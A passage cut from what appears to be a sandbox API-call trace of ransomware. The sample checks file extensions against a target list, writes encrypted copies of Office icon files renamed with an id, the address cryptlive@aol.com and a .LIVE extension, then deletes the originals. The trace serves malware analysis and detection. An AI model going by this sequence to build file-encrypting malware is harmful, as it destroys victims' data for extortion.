(lpString1=".7z", lpString2="CFG") returned -1 [0156.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.730] lstrlenW (lpString=".dbf") returned 4 [0156.730] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.730] lstrlenW (lpString=".1cd") returned 4 [0156.730] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0156.730] lstrlenW (lpString=".jpg") returned 4 [0156.730] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.730] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.730] lstrlenW (lpString="DOCS.ICO") returned 8 [0156.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.731] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0156.731] CloseHandle (hObject=0x350) returned 1 [0156.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 0x20 [0156.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.732] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.732] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.732] GetLastError () returned 0x0 [0156.732] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.839] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.840] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.840] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.840] SetEndOfFile (hFile=0x3b4) returned 1 [0156.840] CloseHandle (hObject=0x3b4) returned 1 [0156.840] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.840] SetEndOfFile (hFile=0x350) returned 1 [0156.842] CloseHandle (hObject=0x350) returned 1 [0156.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\docs.ico")) returned 1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.847] lstrlenW (lpString=".doc") returned 4 [0156.847] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.847] lstrlenW (lpString=".docx") returned 5 [0156.847] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.847] lstrlenW (lpString=".pdf") returned 4 [0156.847] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.847] lstrlenW (lpString=".xls") returned 4 [0156.847] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.847] lstrlenW (lpString=".xlsx") returned 5 [0156.847] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.847] lstrlenW (lpString=".ppt") returned 4 [0156.847] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.847] lstrlenW (lpString=".zip") returned 4 [0156.847] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.847] lstrlenW (lpString=".rar") returned 4 [0156.847] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.847] lstrlenW (lpString=".bz2") returned 4 [0156.847] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.847] lstrlenW (lpString=".7z") returned 3 [0156.847] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.847] lstrlenW (lpString=".dbf") returned 4 [0156.847] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".1cd") returned 4 [0156.848] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".jpg") returned 4 [0156.848] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".doc") returned 4 [0156.848] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.848] lstrlenW (lpString=".docx") returned 5 [0156.848] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.848] lstrlenW (lpString=".pdf") returned 4 [0156.848] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString=".xls") returned 4 [0156.848] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString=".xlsx") returned 5 [0156.848] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.848] lstrlenW (lpString=".ppt") returned 4 [0156.848] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".zip") returned 4 [0156.848] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString=".rar") returned 4 [0156.848] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.848] lstrlenW (lpString=".bz2") returned 4 [0156.848] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.848] lstrlenW (lpString=".7z") returned 3 [0156.848] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".dbf") returned 4 [0156.848] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".1cd") returned 4 [0156.848] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOCS.ICO") returned 62 [0156.848] lstrlenW (lpString=".jpg") returned 4 [0156.848] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.849] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.849] lstrlenW (lpString="INFOMS.ICO") returned 10 [0156.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.849] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2998) returned 1 [0156.849] CloseHandle (hObject=0x350) returned 1 [0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 0x20 [0156.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.850] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.850] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.851] GetLastError () returned 0x0 [0156.851] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0156.879] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0156.880] ReadFile (in: hFile=0x350, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.880] WriteFile (in: hFile=0x3b4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.880] SetEndOfFile (hFile=0x3b4) returned 1 [0156.880] CloseHandle (hObject=0x3b4) returned 1 [0156.880] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.880] SetEndOfFile (hFile=0x350) returned 1 [0156.883] CloseHandle (hObject=0x350) returned 1 [0156.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\infoms.ico")) returned 1 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.884] lstrlenW (lpString=".doc") returned 4 [0156.884] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.884] lstrlenW (lpString=".docx") returned 5 [0156.884] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.884] lstrlenW (lpString=".pdf") returned 4 [0156.884] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".xls") returned 4 [0156.885] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".xlsx") returned 5 [0156.885] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.885] lstrlenW (lpString=".ppt") returned 4 [0156.885] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString=".zip") returned 4 [0156.885] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".rar") returned 4 [0156.885] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".bz2") returned 4 [0156.885] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.885] lstrlenW (lpString=".7z") returned 3 [0156.885] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString=".dbf") returned 4 [0156.885] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString=".1cd") returned 4 [0156.885] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString=".jpg") returned 4 [0156.885] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.885] lstrlenW (lpString=".doc") returned 4 [0156.885] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.885] lstrlenW (lpString=".docx") returned 5 [0156.885] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0156.885] lstrlenW (lpString=".pdf") returned 4 [0156.885] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".xls") returned 4 [0156.885] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.885] lstrlenW (lpString=".xlsx") returned 5 [0156.886] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0156.886] lstrlenW (lpString=".ppt") returned 4 [0156.886] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.886] lstrlenW (lpString=".zip") returned 4 [0156.886] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.886] lstrlenW (lpString=".rar") returned 4 [0156.886] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.886] lstrlenW (lpString=".bz2") returned 4 [0156.886] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.886] lstrlenW (lpString=".7z") returned 3 [0156.886] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.886] lstrlenW (lpString=".dbf") returned 4 [0156.886] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.886] lstrlenW (lpString=".1cd") returned 4 [0156.886] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\INFOMS.ICO") returned 64 [0156.886] lstrlenW (lpString=".jpg") returned 4 [0156.886] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.886] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.886] lstrlenW (lpString="IPML.ICO") returned 8 [0156.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.931] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0156.931] CloseHandle (hObject=0x1b8) returned 1 [0156.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 0x20 [0156.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0156.958] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.958] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0156.985] GetLastError () returned 0x0 [0156.985] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.998] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0157.000] ReadFile (in: hFile=0x1b8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0157.000] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0157.000] SetEndOfFile (hFile=0x1e0) returned 1 [0157.000] CloseHandle (hObject=0x1e0) returned 1 [0157.000] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0157.000] SetEndOfFile (hFile=0x1b8) returned 1 [0157.005] CloseHandle (hObject=0x1b8) returned 1 [0157.005] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0157.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\ipml.ico")) returned 1 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.007] lstrlenW (lpString=".doc") returned 4 [0157.007] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.007] lstrlenW (lpString=".docx") returned 5 [0157.007] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0157.007] lstrlenW (lpString=".pdf") returned 4 [0157.007] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.007] lstrlenW (lpString=".xls") returned 4 [0157.007] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.008] lstrlenW (lpString=".xlsx") returned 5 [0157.008] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0157.008] lstrlenW (lpString=".ppt") returned 4 [0157.008] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString=".zip") returned 4 [0157.008] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.008] lstrlenW (lpString=".rar") returned 4 [0157.008] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.008] lstrlenW (lpString=".bz2") returned 4 [0157.008] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.008] lstrlenW (lpString=".7z") returned 3 [0157.008] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString=".dbf") returned 4 [0157.008] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString=".1cd") returned 4 [0157.008] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString=".jpg") returned 4 [0157.008] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.008] lstrlenW (lpString=".doc") returned 4 [0157.008] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0157.008] lstrlenW (lpString=".docx") returned 5 [0157.008] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0157.008] lstrlenW (lpString=".pdf") returned 4 [0157.009] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0157.009] lstrlenW (lpString=".xls") returned 4 [0157.009] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0157.481] lstrlenW (lpString=".xlsx") returned 5 [0157.481] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0157.481] lstrlenW (lpString=".ppt") returned 4 [0157.481] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.481] lstrlenW (lpString=".zip") returned 4 [0157.481] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0157.481] lstrlenW (lpString=".rar") returned 4 [0157.481] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0157.481] lstrlenW (lpString=".bz2") returned 4 [0157.481] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0157.481] lstrlenW (lpString=".7z") returned 3 [0157.481] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.481] lstrlenW (lpString=".dbf") returned 4 [0157.481] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.481] lstrlenW (lpString=".1cd") returned 4 [0157.481] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0157.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\IPML.ICO") returned 62 [0157.481] lstrlenW (lpString=".jpg") returned 4 [0157.481] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0157.481] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0157.481] lstrlenW (lpString="OOFS.ICO") returned 8 [0157.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 